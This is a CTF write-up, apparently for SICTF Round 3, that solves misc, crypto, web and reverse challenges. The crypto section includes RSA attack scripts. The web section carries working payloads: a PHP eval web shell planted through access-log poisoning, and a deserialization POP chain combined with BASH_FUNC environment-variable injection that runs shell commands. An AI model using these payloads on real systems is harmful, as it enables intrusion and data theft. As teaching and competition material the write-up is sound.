Misc

[签到]签到

如题,打开“微信”,扫码,关注公众号,发送SICTF{Round3,我来辣~},得到flag.

问卷调查

如题,填写问卷,得到flag.

WHO?WHO?WHO

脑洞题。

首先拿到压缩包,尝试小写字母爆破,成功爆破出密码:qweqwe。

解压出来个文本,发现里面只有几个可见字符,用Vscode打开,发现这是零宽隐写。

用在线网站去解,奇怪的是不同网站解出的结果不一样,这里使用Zero Width Lib (yuanfux.github.io)解出了正确的内容。

剩下的东西看见像base64,但是解出来是乱码,开头是Salted__,推断出这个字符串是Rabbit加密得出的。

解密这个字符串还需要密钥,根据题目提示我们可以得知密钥是“树木”的拼音,即shumu。

接触来了一个格式和flag差不多的字符串,根据之前的txt文件名可知这是DNA编码,在线解密网站找不到,我直接找到了表手动解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
'AAA':'a',
'AAC':'b',
'AAG':'c',
'AAT':'d',
'ACA':'e',
'ACC':'f',
'ACG':'g',
'ACT':'h',
'AGA':'i',
'AGC':'j',
'AGG':'k',
'AGT':'l',
'ATA':'m',
'ATC':'n',
'ATG':'o',
'ATT':'p',
'CAA':'q',
'CAC':'r',
'CAG':'s',
'CAT':'t',
'CCA':'u',
'CCC':'v',
'CCG':'w',
'CCT':'x',
'CGA':'y',
'CGC':'z',
'CGG':'A',
'CGT':'B',
'CTA':'C',
'CTC':'D',
'CTG':'E',
'CTT':'F',
'GAA':'G',
'GAC':'H',
'GAG':'I',
'GAT':'J',
'GCA':'K',
'GCC':'L',
'GCG':'M',
'GCT':'N',
'GGA':'O',
'GGC':'P',
'GGG':'Q',
'GGT':'R',
'GTA':'S',
'GTC':'T',
'GTG':'U',
'GTT':'V',
'TAA':'W',
'TAC':'X',
'TAG':'Y',
'TAT':'Z',
'TCA':'1',
'TCC':'2',
'TCG':'3',
'TCT':'4',
'TGA':'5',
'TGC':'6',
'TGG':'7',
'TGT':'8',
'TTA':'9',
'TTC':'0',
'TTG':' ',
'TTT':'.'

每三个字符替换,得到flag:SICTF{Q1A0_Q1A0_GA0_SU_N1_SHUMU_SH1_ZHA_NAN}.

真💨签到

文字游戏。

首先拿到压缩包,010打开,发现最后又一串16进制数字。

转一下,得到一串看着像base64的字符串。

1
TVTTTVTXABYUXTXTXCARYYXAZCYYYUXV=

题目提示文本转字母,这是一个很少见的加密方式,使用在线网站解密。

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=zimu

得到压缩包密码2024HappyNewYear

解压后得到两个文件,一个是steg.jpg,另一个是LagrangeisCapatlized.wav。

先分析音频文件,用Audacity打开,波形图什么都没有,切换到频谱图,还是什么也没有。

调整一下采样率到11025HZ左右,可以看到一个字符串。

1
givemeyourlagrange

猜测可能是某种加密使用的密钥。

使用binwalk看一下steg.jpg,发现什么都没有。

观察steg.jpg的名字,尝试使用steghide工具来解密,密钥是刚才我们得到的givemeyourlagrange

1
steghide extract -sf steg.jpg -p givemeyourlagrange

跑一下,发现什么都没跑出来。我们再观察LagrangeisCapatlized.wav的文件名,翻译一下。

1
Lagrange is Capatlized  --->  Lagrange是大写的

于是修改一下我们的密钥,变为givemeyourLAGRANGE

1
givemeyourLAGRANGE

重新用steghide跑一遍。

1
steghide extract -sf steg.jpg -p givemeyourLAGRANGE

得到flag.txt,找到flag:SICTF{T3e_endless_Lagrange_is_really_fun!}

Crypto

[签到]Vigenere

从题目名字可知这是维吉尼亚密码,文本中找到

这是密文,前面的LNUTF对应SICTF,用在线网站解密。

可以推出密钥为TFSAA,解密得到flag.

gggcccddd

1
2
c1 = pow(m,e,n)
c2 = pow(233*m+9527,e,n)

这是和普通RSA不一样的地方,可以考虑Franklin-Reiter相关消息攻击,但是本题的e是65537,求gcd的时候会非常慢。

搜了一下,有个优化求gcd的算法叫Half-gcd,用这个算法优化一下Franklin-Reiter相关消息攻击即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import libnum
import sys

n = 71451784354488078832557440841067139887532820867160946146462765529262021756492415597759437645000198746438846066445835108438656317936511838198860210224738728502558420706947533544863428802654736970469313030584334133519644746498781461927762736769115933249195917207059297145965502955615599481575507738939188415191
c1 = 60237305053182363686066000860755970543119549460585763366760183023969060529797821398451174145816154329258405143693872729068255155086734217883658806494371105889752598709446068159151166250635558774937924668506271624373871952982906459509904548833567117402267826477728367928385137857800256270428537882088110496684
c2 = 20563562448902136824882636468952895180253983449339226954738399163341332272571882209784996486250189912121870946577915881638415484043534161071782387358993712918678787398065688999810734189213904693514519594955522460151769479515323049821940285408228055771349670919587560952548876796252634104926367078177733076253
e = 65537

def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x^m)
b_top, b_bot = b.quo_rem(x^m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x^(m // 2))
e_top, e_bot = e.quo_rem(x^(m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11

def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)

P.<x> = PolynomialRing(Zmod(n))
sys.setrecursionlimit(500000)
f = (x)^e - c1
g = (233*x+9527)^e - c2
km = GCD(f,g)
m = -km.monic()[0]
print(libnum.n2s(int(m)))

跑上几分钟就能出flag.

铜匠

\(p\) 高位泄露的变形。

1
2
3
4
5
6
7
8
def Decimal_conversion(num):
if num == 0:
return '0'
digits = []
while num:
digits.append(str(num % 5))
num //= 5
return ''.join(reversed(digits))

分析这个函数,这是个将十进制数转为五进制数的一个函数。

题目中将 \(p\) 转为五进制然后取了前112位,考虑先将 \(leak\) 转成十进制。

一个512bit的数转成5进制差不多是221位,那么将 \(leak\) 转为十进制时对应位权值应该从 \(5^{109}\) 开始,得到10进制的 \(leak\)

1
leak = 12170789707638469557363249767228204966074269830454332436369564884472290413677806300009225162224310724599340622124020450112169555723085068166255950927734375

接下来就是常见的 \(p\) 高位泄露,这里使用coppersmith攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import libnum
import tqdm

leak = 12170789707638469557363249767228204966074269830454332436369564884472290413677806300009225162224310724599340622124020450112169555723085068166255950927734375
n = 85988668134257353631742597258304937106964673395852009846703777410474172989069717247424903079500594820235304351355706519069516847244761609583338251489134035212061654870087550317540291994559481862615812258493738064606592165529948648774081655902831715928483206013332330998262897765489820121129058926463847702821
e = 65537
c = 64708526479058278743788046708923650158905888858865427385501446781738669889375403360886995849554813207230509920789341593771929287415439407977283018525484281064769128358863513387658744063469874845446480637925790150835186431234289848506337341595817156444941964510251032210939739594241869190746437858135599624562

leak = (leak >> 256)
t = bin(leak)
print(len(t))
for i in tqdm.trange(2^8):
ph = (leak << 8)
phigh = ph + i
phigh = (phigh << 248)
#print(ph)
R.<x> = PolynomialRing(Zmod(n))
f = phigh + x
res = f.small_roots(X=2^248, beta=0.4, epsilon=0.01)
if res != []:
p = phigh + int(res[0])
q = n//p
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)
m = pow(c,d,n)
flag = libnum.n2s(int(m))
print(flag)

要跑挺久的,最后得到flag.

SuperbRSA

一眼看上去是共模攻击,但是 \(e1\)\(e2\) 不互素。

解决方法也很简单,先推一下式子。

\(t=gcd(e1,e2)\)

根据共模攻击的原理,有 \(c_1^{r}\times c_2^s \equiv m^t \mod n\)

\(m^t=k\times n+c_1^{r}\times c_2^s\)

爆破 \(k\) 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import libnum
e1 = 55
e2 = 200
n = 19006830358118902392432453595802675566730850352890246995920642811967821259388009049803513102750594524106471709641202019832682438027312468849299985832675191795417160553379580813410722359089872519372049229233732405993062464286888889084640878784209014165871696882564834896322508054231777967011195636564463806270998326936161449009988434249178477100127347406759932149010712091376183710135615375272671888541233275415737155953323133439644529709898791881795186775830217884663044495979067807418758455237701315019683802437323177125493076113419739827430282311018083976114158159925450746712064639569301925672742186294237113199023
c1 = 276245243658976720066605903875366763552720328374098965164676247771817997950424168480909517684516498439306387133611184795758628248588201187138612090081389226321683486308199743311842513053259894661221013008371261704678716150646764446208833447643781574516045641493770778735363586857160147826684394417412837449465273160781074676966630398315417741542529612480836572205781076576325382832502694868883931680720558621770570349864399879523171995953720198118660355479626037129047327185224203109006251809257919143284157354935005710902589809259500117996982503679601132486140677013625335552533104471327456798955341220640782369529
c2 = 11734019659226247713821792108026989060106712358397514827024912309860741729438494689480531875833287268454669859568719053896346471360750027952226633173559594064466850413737504267807599435679616522026241111887294138123201104718849744300769676961585732810579953221056338076885840743126397063074940281522137794340822594577352361616598702143477379145284687427705913831885493512616944504612474278405909277188118896882441812469679494459216431405139478548192152811441169176134750079073317011232934250365454908280676079801770043968006983848495835089055956722848080915898151352242215210071011331098761828031786300276771001839021
r,s,tmp = libnum.xgcd(e1,e2)
t = libnum.gcd(e1,e2)
if r<0:
r = -r
c1 = libnum.invmod(c1,n)
if s<0:
s = -s
c2 = libnum.invmod(c2,n)
res = (pow(c1,r,n)*pow(c2,s,n))%n
for k in range(100):
mt = res + k*n
m = libnum.nroot(mt,t)
flag = libnum.n2s(m)
if b"SICTF" in flag:
print(flag)
break

Web

100%_upload

进入网站,发现一个通过GET传入的file变量。

尝试访问http://yuanshen.life:38884/index.php?file=index.php

页面提示不要自包含

说明存在include($file)这样的文件包含漏洞。

尝试上传一句话木马,发现.htaccess等类型的文件都被ban掉了,这里考虑使用包含日志。

我们对Web服务器的HTTP请求,都会被服务器记录下来,保存在服务器的日志中。

一般是这个路径/var/log/nginx/access.log

我们只需要构造一句话木马的GET请求,然后包含这个路径下的日志即可。注意要使用BurpSuite传马,用其他工具会url编码导致不能解析。

1
GET /index.php?file=upload.php<?php @eval($_POST['attack']); ?>

使用蚁剑连接。

发现flag在根目录,打开得到flag:SICTF{7e951aad-7b6f-4a2a-abb8-8bf5e1cde6c4}

Not just unserialize

反序列化+RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}

class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}

class CR {
public $last;
public $newyear;

public function __tostring() {

if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}

if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}

class ET{

public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>

首先看代码,突破口在ET类中的__isset()魔术方法。

可以通过CR类中的empty()来触发__isset()魔术方法,SE类中有echo(),可以通过这个来触发CR类中的__toString()魔术方法。

SE类的__set通过start类中的$this->welcome->you = $p;来触发。

思路有了,构造pop链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class start
{
public $welcome;
public $you;
}

class SE{
public $year;
}

class CR {
public $last;
public $newyear='WORRIES';
}

class ET{

}
$data = new start();
$data->welcome = new SE();
$data->welcome->year = new CR();
$data->welcome->year->last = new ET();
echo base64_encode(serialize($data));
?>
1
Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=

先检验一下正确性,访问

1
http://yuanshen.life:38932/?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=

说明构造正确。

接下来思考如何拿到flag。

1
2
3
4
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");

这里有一个putenv()函数,想到环境变量注入RCE,这里推荐一个博客:

我是如何利用环境变量注入执行任意命令 | CTF导航 (ctfiot.com)

构造payload

1
http://yuanshen.life:38932/?get[BASH_FUNC_echo%25%25]=()%20{%20ls /;%20}&go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=

找到flag位置。

1
http://yuanshen.life:38932/?get[BASH_FUNC_echo%25%25]=()%20{%20cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg;%20}&go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30=

得到flag:SICTF{37086214-58e2-4c16-a529-d543af5de128}

Reverse

[签到]Baby_C++

如题,签到题。

DIE打开,无壳,64位。

用IDA打开,直接shift+F12,

看到flag:SICTF{4e474b8a-9df6-454b-9ea6-d4f5e37cd51f}

Ez_pyc

下载下来是一个.pyc文件,使用uncompyle6反编译得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.11.5 (tags/v3.11.5:cce6ba9, Aug 24 2023, 14:38:34) [MSC v.1936 64 bit (AMD64)]
# Embedded file name: E:\CTF赛题\ez_pyc\233.py
# Compiled at: 2024-02-16 10:29:12
# Size of source mod 2**32: 1218 bytes
import hashlib
k = [['#'] * 10,
[
'#', 0, 1, 9] + [0] * 3 + [3, 0, 7],
[
'#', 8] + [0] * 8,
[
'#', 4] + [0] * 5 + [2, 0, 0],
[
'#'] + [0] * 4 + [3] + [0] * 4,
[
'#', 5] + [0] * 3 + [6, 0, 0, 2, 0],
[
'#', 0, 7] + [0] * 5 + [3, 1],
[
'#'] + [0] * 9,
[
'#', 0, 0, 8, 0, 9, 0, 7, 0, 0],
[
'#'] + [0] * 9]
cnt = 0
s = str(int(input(), 16))
try:
for x in s:
if x not in [str(t) for t in range(1, 10)]:
s[cnt + 43690] = 1
else:
for i in range(1, len(k)):
for j in range(1, len(k[i])):
if k[i][j] == 0:
k[i][j] = int(s[cnt])
cnt += 1

else:
for i in range(1, len(k)):
for j in range(1, len(k)):
if j not in k[i]:
s[cnt + 3735928559] = 0

else:
for i in range(1, len(k)):
tmp = []
for j in range(1, len(k)):
tmp.append(k[j][i])

else:
for j in range(1, len(k)):
if j not in tmp:
s[cnt + 3735928559] = 1
else:
for i in range(1, len(k), int(len(k) ** 0.5)):
for j in range(1, len(k), int(len(k) ** 0.5)):
square = [k[x][y] for x in range(i, i + 3) for y in range(j, j + 3)]
for t in range(1, len(k)):
if t not in tmp:
s[cnt + 3735928559] = 2

else:
m = hashlib.md5(s.encode()[::-1]).hexdigest()
if m == '6baacb4d700007be9de5f94512b8a8c1':
print('SICTF{%s}' % hashlib.md5(s.encode()).hexdigest())
else:
print('试着换一种解嘞qwq')
input()

except Exception as e:
try:
pass
finally:
e = None
del e

发现这是一个数独,先输出一下k。

1
2
3
4
5
6
7
8
9
10
[['#', '#', '#', '#', '#', '#', '#', '#', '#', '#'], 
['#', 0, 1, 9, 0, 0, 0, 3, 0, 7],
['#', 8, 0, 0, 0, 0, 0, 0, 0, 0],
['#', 4, 0, 0, 0, 0, 0, 2, 0, 0],
['#', 0, 0, 0, 0, 3, 0, 0, 0, 0],
['#', 5, 0, 0, 0, 6, 0, 0, 2, 0],
['#', 0, 7, 0, 0, 0, 0, 0, 3, 1],
['#', 0, 0, 0, 0, 0, 0, 0, 0, 0],
['#', 0, 0, 8, 0, 9, 0, 7, 0, 0],
['#', 0, 0, 0, 0, 0, 0, 0, 0, 0]]

这里偷懒,用在线网站做一下数独。

分析一下代码,我们的解是按顺序往空格里填的数(即从左往右,从上往下底色非绿的数字)

1
s=2456835127469673891564192578837194925486324875196156342796214853

注意最后还要md5加密一下。

得到flag:SICTF{600d3294869ed3c6361f3fd22a672aa0}

ArtBreaker

很有艺术感的一道题。

用IDA打开文件。

弹出来这样一个提示,意思就是流程框图的节点数太多了(最多是10000个),可以在选项里面修改上限。

平时做题的时候没见过这种情况,说明这道题肯定在流程框图里面做文章了,因此我们去修改一下上限,想办法去看看流程框图。

找到Options->General->Max number of nodes

改成一个大点的数字。接下来就能看流程框图了。(右键,选择Graph View)

看到一堆这样的排列,我们继续缩小视角。

缩小到一定程度时看到flag:SICTF{Rabbit_falls_into_rabbit_hole}